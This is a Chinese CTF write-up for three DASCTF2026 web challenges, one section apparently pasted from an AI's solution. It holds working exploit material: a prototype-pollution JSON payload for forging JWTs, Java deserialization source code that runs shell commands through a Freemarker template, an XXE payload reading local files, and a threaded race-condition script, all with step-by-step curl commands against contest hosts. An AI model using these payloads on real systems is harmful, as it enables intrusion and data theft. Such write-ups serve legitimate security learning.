DASCTF2026

image-20260530141841058

WEB就三道题,一个js原型链污染,一个高并发flask,一个java,手注0,ai3,gpt拿了mvp,btop251是躺赢狗

CorpGate

一套全新的企业员工门户系统CorpGate

源码分析

  1. 用户可控的设置合并入口

routes/user.js 中的 /api/settings 会把用户提交的 JSON 合并到当前用户的 settings 对象:

1
2
3
4
5
6
7
router.post('/api/settings', authMiddleware, (req, res) => {
const user = Object.values(users).find(u => u.id === req.user.id);
if (!user) return res.status(404).json({ error: 'User not found' });
if (typeof req.body !== 'object' || req.body === null || Array.isArray(req.body)) return res.status(400).json({ error: 'Invalid request body' });
deepMerge(user.settings, req.body);
res.json({ success: true, message: 'Settings updated', settings: user.settings });
});

这里 req.body 完全由用户控制,危险点在 deepMerge()。

  1. 深度合并存在原型链污染绕过
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
const BLOCKED_ROOTS = ['__proto__', '__defineGetter__', '__defineSetter__', 'constructor', 'prototype'];
const BLOCKED_KEYS = ['__proto__', '__defineGetter__', '__defineSetter__'];
const MAX_DEPTH = 6;

function sanitizeKey(key) {
return key.replace(/\./g, '');
}

function deepMerge(target, source, depth) {
if (depth === undefined) depth = 0;
if (depth >= MAX_DEPTH) return target;
for (var rawKey in source) {
var key = sanitizeKey(rawKey);
if (key === '') continue;
if (BLOCKED_KEYS.indexOf(key) !== -1) continue;
if (depth < 3 && BLOCKED_ROOTS.indexOf(key) !== -1) continue;
if (isPlainObject(source[rawKey])) {
if (typeof target[key] === 'object' && target[key] !== null) {
deepMerge(target[key], source[rawKey], depth + 1);
} else if (typeof target[key] === 'function') {
deepMerge(target[key], source[rawKey], depth + 1);
}
} else {
target[key] = source[rawKey];
}
}
return target;
}

过滤逻辑的问题:

  • constructor 和 prototype 只在 depth < 3 时被拦截;
  • 当深度达到 3 后,可以使用 constructor.prototype;
  • 代码还允许 target[key] 是函数时继续递归;
  • 对象的 constructor 通常是 Object 函数,继续访问其 prototype 即可到达 Object.prototype。

于是可以构造

1
2
3
4
5
6
7
8
9
10
11
12
13
{
"notifications": {
"digest": {
"channels": {
"constructor": {
"prototype": {
"pending": "attacker-known-secret"
}
}
}
}
}
}

合并路径:

1
user.settings.notifications.digest.channels.constructor.prototype.pending

image-20260530143119183

污染之后去/api/system/healthcheck触发更新

这样secretkey就变成secret了,接下来伪造jwt密钥获得admin权限

image-20260530143501476

image-20260530144301425

TaxManager

安全的税务系统

JVAV还一点不会,直接ai梭的,所以直接贴ai的wp了

一、题目概览

这题表面上是一个税务管理系统,附件提供了一个 Spring Boot JAR。
实际解题时有一个关键点:远端运行的 JAR 和附件里的 JAR 不是同一个版本。

本题真实利用链如下:

  1. 注册并登录普通用户
  2. 利用 /api/profile/update 的反射赋值越权,把自己角色改成 reviewer
  3. 申请一条退款记录
  4. 构造恶意 attachmentData,经 /api/review 写入 voucherData
  5. 调用 /api/export/generate 触发 Java 反序列化
  6. 反序列化链中进入 Freemarker 模板执行,执行系统命令
  7. 将 flag 写入 /tmp/x
  8. 利用 /api/import/history 的 XXE 读取 /tmp/x

二、附件审计与远端差异确认

附件路径:

1
D:\Users\CTF_sources\web\dasctf2026\TaxManager\tempdir\WEB附件\taxmanager-1.1.0-ctf.jar

先看附件哈希:

1
2
Get-FileHash -Algorithm SHA256 `
'D:\Users\CTF_sources\web\dasctf2026\TaxManager\tempdir\WEB附件\taxmanager-1.1.0-ctf.jar'

附件哈希:

1
E11BCB326E86B11DF52ADB0DB895A457FAC4A95C1E11D00D97A05B83E7A53737

然后访问公开帮助接口:

1
curl http://ee4912d8.http-ctf2.dasctf.com:80/api/help

帮助接口中出现了:

  • GET /download/app.jar

下载远端运行包:

1
curl -L -o remote_app.jar http://ee4912d8.http-ctf2.dasctf.com:80/download/app.jar

计算远端包哈希:

1
Get-FileHash -Algorithm SHA256 .\remote_app.jar

远端哈希:

1
A25551A7BE8B11A3F07DFBEE32D8ACFBEA35E2FDAA6B1D90BD8A2A8EE234D92E

结论:

  • 附件 JAR != 远端运行 JAR
  • 后续分析必须以 remote_app.jar 为准

三、信息收集

首页与帮助接口:

1
2
curl http://ee4912d8.http-ctf2.dasctf.com:80/
curl http://ee4912d8.http-ctf2.dasctf.com:80/api/help

可以得到这些接口:

  • /api/register
  • /api/login
  • /api/profile/update
  • /api/refund/apply
  • /api/review
  • /api/export/prepare
  • /api/export/generate
  • /api/import/history
  • /download/app.jar

帮助接口还明确写了:

  • 角色有 taxpayer | reviewer | admin
  • voucher 是 “Java object, base64 encoded”
  • export 是“两步流程”

这几个点已经很像故意给的出题线索。


四、反编译远端 JAR

列出远端 JAR 内容:

1
jar tf remote_app.jar

提取 BOOT-INF/classes:

1
jar xf remote_app.jar BOOT-INF/classes BOOT-INF/lib META-INF/maven

关键类:

  • com.tax.controller.AuthController
  • com.tax.controller.ReviewController
  • com.tax.controller.ExportController
  • com.tax.controller.ImportController
  • com.tax.util.SerializeUtil
  • com.tax.util.ScheduledTaskHandler
  • com.tax.job.ReportJob
  • com.tax.report.PdfReportGenerator

反编译可直接用:

1
2
3
4
javap -classpath BOOT-INF/classes -c -p com.tax.controller.AuthController
javap -classpath BOOT-INF/classes -c -p com.tax.controller.ReviewController
javap -classpath BOOT-INF/classes -c -p com.tax.controller.ExportController
javap -classpath BOOT-INF/classes -c -p com.tax.controller.ImportController

五、漏洞 1:角色越权

1. 漏洞点

AuthController.updateProfile() 对用户提交的 JSON 做了反射赋值:

逻辑核心:

  • 只禁止修改:id、username、password
  • 如果字段名是 role 且值为 admin,会跳过
  • 但没有禁止把 role 改成 reviewer

也就是:

  • role=admin 不行
  • role=reviewer 可以

2. 利用方式

先注册登录,然后发:

1
2
3
4
POST /api/profile/update
Content-Type: application/json

{"role":"reviewer"}

验证:

1
curl -b cookies http://ee4912d8.http-ctf2.dasctf.com:80/api/profile

返回中 role 变成了:

1
{"role":"reviewer","success":true,...}

这一步拿到 reviewer 权限,后面就能调用审批和导出接口。


六、漏洞 2:可控反序列化链

1. 写入点:/api/review

ReviewController.reviewRefund():

  • reviewer/admin 可调用
  • action=approve
  • attachmentData 非空时只校验 HMAC 签名
  • 签名正确就把 attachmentData 传给 RefundService.approveRefund()

application.properties 中硬编码了签名密钥:

1
api.signing.secret=TaxManager_Secret_K3y_2026_Un1que

因此我们可以本地生成合法签名。

2. 落地点:RefundService.approveRefund()

如果 attachmentData 非空,则:

1
req.setVoucherData(attachmentData);

也就是说我们能直接控制数据库里的 voucherData。

3. 触发点:/api/export/generate

ExportController.generateExport() 在 token 校验通过后,会做:

1
Object obj = SerializeUtil.deserialize(voucherData);

SerializeUtil.deserialize() 直接:

1
new ObjectInputStream(...).readObject();

这是标准 Java 原生反序列化。

4. Gadget 链

链条如下:

  1. ScheduledTaskHandler.readObject()
  2. 遍历 taskQueue
  3. 对每个 Runnable 执行 run()
  4. ReportJob.run()
  5. 调 PdfReportGenerator.render(templateContent)
  6. render() 使用 Freemarker StringTemplateLoader
  7. 模板可控,触发 Freemarker 模板执行

因此完整链是:

1
2
3
4
5
6
ObjectInputStream.readObject()
-> ScheduledTaskHandler.readObject()
-> Runnable.run()
-> ReportJob.run()
-> PdfReportGenerator.render()
-> Freemarker template execution

七、XXE 点分析

ImportController.importHistory(byte[]) 是远端版本新增的逻辑。

关键点:

  1. 先把原始字节按 UTF-8 / UTF-16LE / UTF-16BE 转字符串
  2. 只要原始 payload 中包含 flag,直接拦截:
1
Security Alert: Invalid keyword detected in payload
  1. 之后仍然用默认 DocumentBuilderFactory.newInstance() 去解析 XML
  2. 未禁用外部实体,因此 XXE 仍然成立
  3. 如果解析结果或异常消息中出现 flag / DASCTF,又会二次拦截

所以直接读:

  • file:///flag
  • file:///flag.txt

会被关键字规则挡住。

解法是:

  • 先用反序列化执行命令把 flag 写到别的文件里
  • 然后 XXE 读取该中转文件

八、利用思路

因为 XXE 不能直接读 /flag,所以分两步:

第一步:命令执行,把 flag 写到 /tmp/x

执行命令:

1
base64 /flag > /tmp/x || base64 /flag.txt > /tmp/x

这样有两个好处:

  1. XML 里不直接出现 flag
  2. 读取 /tmp/x 时返回的是 base64,不容易被回显规则误杀

第二步:XXE 读取 /tmp/x

构造:

1
2
<!DOCTYPE history [<!ENTITY xxe SYSTEM "file:///tmp/x">]>
<history><taxpayerId>&xxe;</taxpayerId></history>

这样就能把 /tmp/x 内容带回来。


九、本地构造 payload

我本地写了一个辅助类 BuildPayload.java,用于生成序列化后的 base64。

代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
import com.tax.job.ReportJob;
import com.tax.report.PdfReportGenerator;
import com.tax.util.ScheduledTaskHandler;

import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.Queue;

public class BuildPayload {
public static void main(String[] args) throws Exception {
if (args.length < 1) {
System.err.println("usage: BuildPayload <command...>");
System.exit(1);
}

String command = String.join(" ", args);
String template =
"<#assign ex=\"freemarker.template.utility.Execute\"?new()>${ex(\""
+ command.replace("\\\\", "\\\\\\\\").replace("\"", "\\\\\"")
+ "\")}";

ScheduledTaskHandler handler = new ScheduledTaskHandler();
Field taskQueueField = ScheduledTaskHandler.class.getDeclaredField("taskQueue");
taskQueueField.setAccessible(true);

@SuppressWarnings("unchecked")
Queue<Runnable> queue = (Queue<Runnable>) taskQueueField.get(handler);
queue.add(new ReportJob(new PdfReportGenerator("pdf"), template));

ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(handler);
oos.close();

System.out.print(Base64.getEncoder().encodeToString(baos.toByteArray()));
}
}

编译:

1
javac -cp "BOOT-INF/classes;BOOT-INF/lib/*" -d . BuildPayload.java

生成 payload:

1
java -cp ".;BOOT-INF/classes;BOOT-INF/lib/*" BuildPayload "sh -c base64$IFS/flag>/tmp/x||base64$IFS/flag.txt>/tmp/x"

这里用 $IFS 代替空格,避免命令字符串被额外转义搞坏。


十、完整复现步骤

下面给一套可直接照抄的步骤。

1. 注册

1
2
3
4
curl -c cookies.txt -b cookies.txt \
-H "Content-Type: application/json" \
--data-binary "{\"username\":\"user1\",\"password\":\"P@ssw0rd123\",\"taxpayerId\":\"TAX001\"}" \
http://ee4912d8.http-ctf2.dasctf.com:80/api/register

2. 登录

1
2
3
4
curl -c cookies.txt -b cookies.txt \
-H "Content-Type: application/json" \
--data-binary "{\"username\":\"user1\",\"password\":\"P@ssw0rd123\"}" \
http://ee4912d8.http-ctf2.dasctf.com:80/api/login

3. 升级为 reviewer

1
2
3
4
curl -c cookies.txt -b cookies.txt \
-H "Content-Type: application/json" \
--data-binary "{\"role\":\"reviewer\"}" \
http://ee4912d8.http-ctf2.dasctf.com:80/api/profile/update

4. 申请退款

1
2
3
4
curl -c cookies.txt -b cookies.txt \
-H "Content-Type: application/json" \
--data-binary "{\"amount\":4.56,\"taxYear\":2025,\"reason\":\"flag\"}" \
http://ee4912d8.http-ctf2.dasctf.com:80/api/refund/apply

记录返回里的 id,假设为 4。

5. 生成恶意序列化 payload

1
java -cp ".;BOOT-INF/classes;BOOT-INF/lib/*" BuildPayload "sh -c base64$IFS/flag>/tmp/x||base64$IFS/flag.txt>/tmp/x"

得到一段 base64,记为 PAYLOAD_B64。

6. 计算签名

签名算法:

  • HMAC-SHA256
  • key = TaxManager_Secret_K3y_2026_Un1que
  • 明文 = PAYLOAD_B64
  • 输出 = Base64

Python 版:

1
2
3
4
5
6
7
8
import hmac
import hashlib
import base64

secret = b"TaxManager_Secret_K3y_2026_Un1que"
data = b"PAYLOAD_B64"
sig = base64.b64encode(hmac.new(secret, data, hashlib.sha256).digest()).decode()
print(sig)

7. 审批恶意退款

1
2
3
4
5
curl -c cookies.txt -b cookies.txt \
-H "Content-Type: application/json" \
-H "X-Signature: YOUR_SIGNATURE" \
--data-binary "{\"refundId\":4,\"action\":\"approve\",\"attachmentData\":\"PAYLOAD_B64\"}" \
http://ee4912d8.http-ctf2.dasctf.com:80/api/review

8. 准备导出

1
2
3
4
curl -c cookies.txt -b cookies.txt \
-H "Content-Type: application/json" \
--data-binary "{\"refundId\":4}" \
http://ee4912d8.http-ctf2.dasctf.com:80/api/export/prepare

拿到 exportToken。

9. 触发反序列化

1
2
3
4
curl -c cookies.txt -b cookies.txt \
-H "Content-Type: application/json" \
--data-binary "{\"refundId\":4,\"exportToken\":\"YOUR_TOKEN\"}" \
http://ee4912d8.http-ctf2.dasctf.com:80/api/export/generate

这里虽然返回通常是:

1
{"success":false,"message":"Unexpected object type: com.tax.util.ScheduledTaskHandler. Expected: com.tax.model.TaxReport (serialVersionUID=1)"}

但这并不影响命令已经执行。
因为 readObject() 已经先跑完了,报错只是后续 instanceof TaxReport 检查失败。

10. XXE 读取 /tmp/x

1
2
3
4
curl -b cookies.txt \
-H "Content-Type: application/xml" \
--data-binary '<!DOCTYPE history [<!ENTITY xxe SYSTEM "file:///tmp/x">]><history><taxpayerId>&xxe;</taxpayerId></history>' \
http://ee4912d8.http-ctf2.dasctf.com:80/api/import/history

返回类似:

1
{"success":true,"message":"History imported successfully for taxpayer: REFTQ1RGezZmZjA4ZDU4LTkzYWEtNDM1Ni1iZGI3LTllNjcwNGM3NDBlY30K\n"}

十一、解码 flag

base64 解码:

1
echo 'REFTQ1RGezZmZjA4ZDU4LTkzYWEtNDM1Ni1iZGI3LTllNjcwNGM3NDBlY30K' | base64 -d

得到:

1
DASCTF{6ff08d58-93aa-4356-bdb7-9e6704c740ec}

InkVerse

InkVerse是一个功能丰富的社区博客平台,支持文章发布、赞赏打赏、内容审核、文章导出以及每周摘要报告等功能。平台最近完成了一次大规模架构升级,引入了后台任务队列和分级公告系统。作为受邀的安全顾问,你的任务是对该系统进行全面评估。试试 /api/docs

提权

开局一个登录框,先注册账号

image-20260530145019209

这道题有个打赏系统,可以通过别人的打赏获得声望,达到50声望以上就可以成为审稿人(reviewer)

可以看到有一个接口bullen在普通用户权限下是没办法使用的

所以我们要想办法成为reviewer,在这里的常规打赏没办法达到50以上

这个时候@marin师傅提出了创造性的一步,尝试高并发看看能不能过

如果多个请求并发命中,就可能在余额尚未正确更新前同时通过检查,导致:

  • 成功打赏次数超过 20 次
  • 余额变成负数
  • 声望突破 40 点上限

复现脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
import requests
import random
import concurrent.futures

base = "http://58873f99.http-ctf2.dasctf.com"

u = "rvw" + str(random.randint(100000, 999999))
p = "pass1234"

s = requests.Session()
s.post(base + "/register", data={"username": u, "password": p}, allow_redirects=False)
s.post(base + "/login", data={"username": u, "password": p}, allow_redirects=False)

cookie = s.cookies.get("session")
headers = {
"Cookie": f"session={cookie}",
"Content-Type": "application/json",
"Connection": "close",
}

def tip(_):
try:
r = requests.post(
base + "/api/tip",
data='{"article_id":1}',
headers=headers,
timeout=10,
)
return r.status_code, r.text
except Exception as e:
return "ERR", repr(e)

with concurrent.futures.ThreadPoolExecutor(max_workers=160) as ex:
results = list(ex.map(tip, range(320)))

s2 = requests.Session()
s2.post(base + "/login", data={"username": u, "password": p}, allow_redirects=False)
print("account:", u, p)
print(s2.get(base + "/api/user/info").text)

image-20260530145820424

拿到 reviewer 后,可以访问:

1
GET /review

以及导出接口:

1
2
3
4
POST /api/export
Content-Type: application/json

{"article_id":1}

导出完成后,通过:

1
GET /api/export/status

可以拿到输出文件名,例如:

  • export_1_1.txt
  • export_2_2.txt
  • export_3_3.txt

下载导出文件:

1
GET /exports/export_1_1.txt

得到内容类似:

1
2
3
4
5
6
7
8
Title: Welcome to InkVerse
Author: admin
Export-ID: 1
Processed-At: 2026-05-30 04:21:29
Integrity: a606867c38f1d10f4bf4f6480cad8c83
Feature-Token: 68aa12766d60014a4685760309c7b4d57b22788f93b2ab00fdbbe04da8480bad
---
This is the official blog platform. Share your stories with the world!

这里的关键点是:

导出文件直接泄露了 Feature-Token

题目接口文档里写了:

1
POST /api/review/feature

而 reviewer 测试时,服务端会明确报错:

1
{"error":"signature required. Use a valid feature signing token."}

说明 signature 实际上就是某种 feature token。

利用 Feature-Token 申请精选

1. 先准备自己的文章

普通用户新建文章并提交审核:

1
2
POST /article/new
POST /article/<id>/submit

2. reviewer 审核通过

1
2
3
4
POST /api/review/single
Content-Type: application/json

{"article_id":5,"action":"approve"}

3. reviewer 导出该文章

1
2
3
4
POST /api/export
Content-Type: application/json

{"article_id":5}

下载导出文件后得到对应 token,例如:

1
Feature-Token: 12d5db4900f7b23051619f2682f51eb58909d5d8861d443ef6f9ce4e3d980880

4. 用 token 提交精选请求

1
2
3
4
5
6
7
POST /api/review/feature
Content-Type: application/json

{
"article_id": 5,
"signature": "12d5db4900f7b23051619f2682f51eb58909d5d8861d443ef6f9ce4e3d980880"
}

服务端返回:

1
{"message":"Feature request submitted for background processing"}

之后轮询:

1
GET /api/review/feature/status?article_id=5

状态会从:

1
{"status":"pending"}

变为:

1
{"status":"approved"}

同时首页中该文章会出现:

  • Featured 标记
  • article-card featured 样式

这说明文章作者已经进入 featured_authors 可见级别。

文章被标记为 featured 后,原作者再访问:

1
GET /bulletin

即可看到专属公告:

1
2
3
4
5
<h3>Featured Author Rewards</h3>
<p>
Congratulations! As a featured author, you have access to exclusive content and the weekly digest reports.
Secret credential: DASCTF{bda61e3f-7154-44c7-abf1-7216a67c03eb}
</p>

因此最终 flag 为:

1
DASCTF{bda61e3f-7154-44c7-abf1-7216a67c03eb}

Contents